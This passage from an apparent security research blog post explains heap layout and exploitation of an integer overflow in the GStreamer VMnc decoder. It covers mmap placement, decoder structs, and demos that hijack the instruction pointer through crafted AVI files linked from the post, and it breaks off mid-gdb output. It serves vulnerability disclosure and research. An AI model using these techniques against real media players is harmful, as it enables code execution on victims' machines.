<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So how does the kernel decide where to put a mapping request? There are a few corner cases and complexities but for the cases we care about, we can </span><a href="http://lxr.free-electrons.com/source/arch/x86/kernel/sys_x86_64.c#L164" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">look at the kernel x86_64 architecture specific default handling</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">arch_get_unmapped_area_topdown()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The algorithm is fairly simple: it picks the first address where the requested size fits, starting at the “mmap base” and working downwards in virtual address space. The “mmap base” is some random gap below the main process initial stack.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are typically a few holes in the top down addresses space scan but if we cause a large allocation, we can make sure those holes are too small to fit, and that our allocation only fits below the recently allocated thread heap arena. Heap arenas are 64MB on 64-bit, and the way they are allocated can often leave huge 64MB address space holes between them. So a 128MB allocation should be nearly guaranteed to be placed just before the most recently allocated thread area.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Some tests and some possible exploit paths</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Let’s now try a 16bpp (64k colors) file with width == 0xffff and height == 0x8400: </span><a href="https://security.appspot.com/security/vmnc/vmnc_fault_with_large_alloc.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_fault_with_large_alloc.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. We cause an integer overflow and a 134150144 byte (~128MB) allocation and the mappings will look like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">555555757000-55555645b000 rw-p 00000000 00:00 0 [heap]</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fff98010000-7fffa0000000 rw-p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa0000000-7fffa006e000 rw-p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa006e000-7fffa4000000 ---p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa4000000-7fffa4022000 rw-p 00000000 00:00 0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffa4022000-7fffa8000000 ---p 00000000 00:00 0</span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Very useful! Our 128MB allocation -- highlighted in bold above -- is packed right up against a thread arena. It is also the thread arena that contains the decoder metadata, so one attack is to go after this. Let’s do that. The metadata object is defined like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">typedef struct</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstVideoDecoder parent;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gboolean have_format;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GstVideoCodecState *input_state;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int framerate_num;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int framerate_denom;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct Cursor cursor;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct RFBFormat format;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> guint8 *imagedata;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">} GstVMncDec;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct Cursor</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> enum CursorType type;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int visible;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int x;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int y;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int width;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int height;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int hot_x;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int hot_y;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> guint8 *cursordata;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> guint8 *cursormask;</span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">};</span></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are possibilities here. The most obvious is to copy a valid pointer to a more interesting object on top of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">imagedata</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> value, which is the canvas pointer relative to which we can corrupt. The following demos apply to Fedora 25 with the v1.10.0-1 RPM versions of the various gstreamer1 packages.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Demo 1: $rip == 0x414141414141</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demo file: </span><a href="https://security.appspot.com/security/vmnc/vmnc_rip_414141414141.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_rip_414141414141.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This crashes as noted when run in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">totem</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> under </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gdb</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It works because the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstVMncDec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> decoder object is consistently allocated at offset 0xb840 into the thread arena directly after our massive allocation. Therefore, we can use constant offsets in our PoC file to:</span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Copy </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstVMncDec::parent::srcpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> on top of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstVMncDec::imagedata</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, causing the next canvas write to be relative to a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object. (Note that the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstVMncDec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object and the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object are in different thread heap arenas, and the address delta between the arenas is not consistent, so this is a powerful primitive.)</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Write 0x414141414141 on top of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::finalize_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, a function pointer that will be called later.</span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the world of scriptless exploits, pointing the instruction pointer to a known static constant might look impressive, but it’s worlds away from a successful exploit. Accordingly, to prove we’ve got just a little more control than that:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Demo 2: $rip == 0x7fffa400bdf0</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demo file: </span><a href="https://security.appspot.com/security/vmnc/vmnc_rip_is_heap.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_rip_is_heap.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This crashes similarly to as noted. This is demonstrating that our powerful copy primitive can, to an extent, resolve ASLR. In this instance, we’ve copied a heap pointer on top of a function pointer to show the level of control we have. This crashes like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Thread 18 "multiqueue0:src" received signal SIGSEGV, Segmentation fault.</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[Switching to Thread 0x7fffb271d700 (LWP 3336)]</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0x00007fffa400bdf0 in ?? ()</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) p $rip</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$10 = (void (*)()) 0x7fffa400bdf0</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(gdb) x/1s $rip</span><span style="background-color: transparent; color: black; font-size: 14.6667px; font-style: normal; font-variant-caps: normal; font-variant-ligatures: 